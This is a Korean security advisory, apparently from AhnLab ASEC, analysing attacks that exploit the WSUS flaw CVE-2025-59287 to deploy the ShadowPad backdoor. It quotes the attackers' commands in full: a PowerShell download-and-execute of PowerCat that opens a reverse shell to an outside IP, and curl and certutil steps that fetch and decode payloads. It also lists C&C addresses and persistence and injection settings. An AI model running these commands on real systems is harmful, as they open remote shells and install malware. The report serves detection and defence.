WSUS 원격 코드 실행 취약점(CVE-2025-59287)을 악용한 ShadowPad 공격 사례 분석
1. 개요
AhnLab SEcurity intelligence Center(ASEC)은 Microsoft Windows Server Update Services(WSUS)의 원격 코드 실행 취약점(CVE-2025-59287)을 악용해 ShadowPad 악성코드를 유포한 공격 정황을 확인하였다. ShadowPad는 다수의 중국 APT 공격 그룹이 사용하는 백도어 악성코드로 2017년에 최초 발견된 이후 제작자가 지속적으로 모듈을 개발 및 업데이트하고 있으며 센티넬원 보고서에 따르면 중국 배후의 APT 공격 그룹에게 비공개 형태로 판매되는 것으로 알려져 있다. 본 보고서에서는 해당 취약점을 악용한 초기 침투 과정과 ShadowPad 악성코드의 동작 방식 및 대응 방안을 분석한다.
공격자는 WSUS 서비스가 활성화된 Windows Server를 대상으로 CVE-2025-59287 취약점을 악용해 초기 침투를 수행하였으며, PowerShell 기반 Netcat 프로그램인 PowerCat 오픈소스 유틸리티(https://github.com/besimorhino/powercat)를 이용해 시스템 쉘(CMD)을 획득하였다. 이후 certutil 및 curl을 이용해 ShadowPad 악성코드를 다운로드 및 설치하였다.
2. 초기 침투(CVE-2025-59287) 및 거점 확보(PowerCat)
지난 10월 14일 Microsoft는 Microsoft Windows Server Update Services(WSUS)에 존재하는 취약점에 대한 보안 공지를 게시하였다. 해당 취약점은 Windows Server 환경에서 WSUS 서비스가 활성화된 서버에 존재하는 취약점으로 시스템 권한으로 원격 코드 실행이 가능한 심각한 취약점이다. 이와 관련해 10월 22일 공개된 PoC 코드 이후, 10월 30일 ASD(AhnLab Smart Defense) 인프라에서는 해당 취약점이 존재하는 것으로 추정되는 Windows Server를 대상으로 PowerCat이 실행된 이력이 확인되었다. 이를 통해 공격자는 대상 시스템의 CMD 쉘을 획득한 것으로 보인다.

[그림 1] CVE-2025-59287을 이용한 파워쉘 실행 로그 (PowerCat)
확인된 파워쉘 명령은 다음과 같다.
- powershell.exe -c IEX (New-Object System.Net.WebClient).DownloadString (‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’); powercat -c 154.17.26[.]41 -p 8080 -e cmd
3. 악성코드 설치
공격자는 초기 침투 이후 11월 6일, 동일한 취약점을 악용하여 Windows 정상 유틸리티인 curl.exe와 certutil.exe를 실행함으로써 ShadowPad 악성코드를 설치하였다.

[그림 2] CVE-2025-59287을 통한 ShadowPad 설치 로그
설치에 사용된 명령은 다음과 같다.
- curl hxxp://149.28.78[.]189:42306/tmp.txt -o C:\users\%ASD%\tmp.txt & curl hxxp://149.28.78[.]189:42306/dll.txt -o C:\users\%ASD%\dll.txt & curl hxxp://149.28.78[.]189:42306/exe.txt -o C:\users\%ASD%\exe.txt
- certutil -decode C:\users\%ASD%\tmp.txt C:\programdata\0C137A80.tmp
4. ShadowPad
ShadowPad 악성코드는 단일 실행 파일만으로 동작하지 않고, DLL Sideloading 기법을 통해 동작하는 특징이 있다. 이번에 확인된 ShadowPad 역시 기존에 알려진 다른 ShadowPad 공격 사례와 동일한 이름을 갖는 EXE 및 DLL 파일을 통해 실행된다.
| 사이드 로딩 DLL 이름 | DLL MD5 | 정상 EXE 이름 | EXE MD5 | TMP 파일 이름 | TMP 파일 MD5 |
| ETDApix.dll | 27e00b5594530e8c5e004098eef2ec50 | ETDCtrlHelper.exe | 564e7d39a9b6da3cf0da3373351ac717 | 0C137A80.tmp | 85b935e80e84dd47e0fa5e1dfb2c16f4 |
[표 1] ShadowPad DLL Sideloading 정보
이번 사례에서는 정상 EXE 파일(ETDCtrlHelper.exe)이 실행되면 ShadowPad 로더 역할을 수행하는 DLL(ETDApix.dll)이 로드되어 메모리 상에서 동작하며, 동일 경로에 존재하는 0C137A80.tmp 파일이 핵심 ShadowPad 기능을 수행한다. 해당 TMP 파일에는 백도어의 Config 데이터도 포함되어 있다. 아래 [표 2]는 이번 공격 사례에서 확인된 ShadowPad의 주요 Config 정보이다.
|
Config 항목 |
값 |
|
뮤텍스 |
Q-X64 |
|
서비스 이름 |
Q-X64 |
|
서비스 표시 이름 |
Q-X64 Service |
|
서비스 설명 |
Q-X64 Service for windows |
|
지속성 관련 레지스트리 키 (Key) |
SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
|
지속성 관련 레지스트리 값 (Value) |
Q-X64 |
|
지속성 관련 이름 |
Q-X64 |
|
작업스케줄러 파일 경로 |
Microsoft\Windows\UPnP |
|
작업스케줄러 이름 |
Microsoft Corporation |
|
작업스케줄러 설명 |
Q-X64 Service for windows |
|
부팅 시 실행되는 프로세스 경로 #1 |
%ProgramFiles%\Q-X64\Q-X64.exe |
|
부팅 시 실행되는 프로세스 경로 #2 |
%APPDATA%\Q-X64\Q-X64.exe |
|
부팅 시 실행되는 프로세스 경로 #3 |
%LOCALAPPDATA%\Q-X64\Q-X64.exe |
|
부팅 시 실행되는 프로세스 경로 #4 |
%TEMP%\Q-X64\Q-X64.exe |
|
사이드로딩 DLL 이름 |
ETDApix.dll |
|
인젝션 대상 프로세스 경로 #1 |
“%PROGRAMFILES%\Windows Mail\WinMail.exe” Q-X64 |
|
인젝션 대상 프로세스 경로 #2 |
“%PROGRAMFILES%\Windows Media Player\wmpnetwk.exe” Q-X64 |
|
인젝션 대상 프로세스 경로 #3 |
“%ProgramFiles%\Windows Media Player\wmplayer.exe” Q-X64 |
|
인젝션 대상 프로세스 경로 #4 |
“%SystemRoot%\system32\svchost.exe” Q-X64 |
|
C&C #1 |
HTTP://163.61.102[.]245:443 |
|
C&C #2 |
HTTPS://163.61.102[.]245:443 |
|
프록시 IP #1 |
N/A |
|
프록시 IP #2 |
N/A |
|
프록시 IP #3 |
N/A |
|
프록시 IP #4 |
N/A |
|
C&C 통신을 위한 헤더 #1 |
POST |
|
C&C 통신을 위한 헤더 #2 |
65536 |
|
C&C 통신을 위한 헤더 #3 |
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0 |
|
C&C 통신을 위한 헤더 #4 |
Accept-Language: en-ca,en;q=0.8,en-us;q=0.6,de-de;q=0.4,de;q=0.2 |
|
C&C 통신을 위한 헤더 #5 |
Accept-Encoding: gzip, deflate |
|
C&C 통신을 위한 헤더 #6 |
Accept: text/html, application/xhtml+xml, image/jxr, */* |
|
C&C 통신을 위한 헤더 #7 |
N/A |
|
포워드 TCP IP |
레지스트리 필요 |
|
포워드 UDP IP |
레지스트리 필요 |
|
지속성 등에 등록된 파일 이름 |
N/A |
[표 2] ShadowPad 관련 Config 정보
5. 결론
취약점 PoC 코드가 공개된 이후, 공격자는 이를 빠르게 악용해 WSUS 서버를 통해 ShadowPad 악성코드를 유포하였다. 해당 취약점은 시스템 권한으로 원격 코드가 실행될 수 있어 피해 범위가 매우 클 수 있다. 따라서 WSUS를 사용하는 기업 보안 담당자는 다음과 같은 조치를 신속히 수행해야 한다.
- Microsoft에서 제공하는 최신 보안 업데이트(CVE-2025-59287 관련 패치) 적용
- WSUS 서버의 외부 노출 여부 및 접근 통제 설정 점검 (Microsoft 업데이트 서버만 WSUS에 엑세스하도록 허용하고 나머지 트래픽에 대해서는 TCP 포트 8530, 8531 인바운드 트래픽 차단 검토)
- 의심스러운 PowerShell, certutil.exe, curl.exe 명령 실행 이력 및 네트워크 연결 로그 점검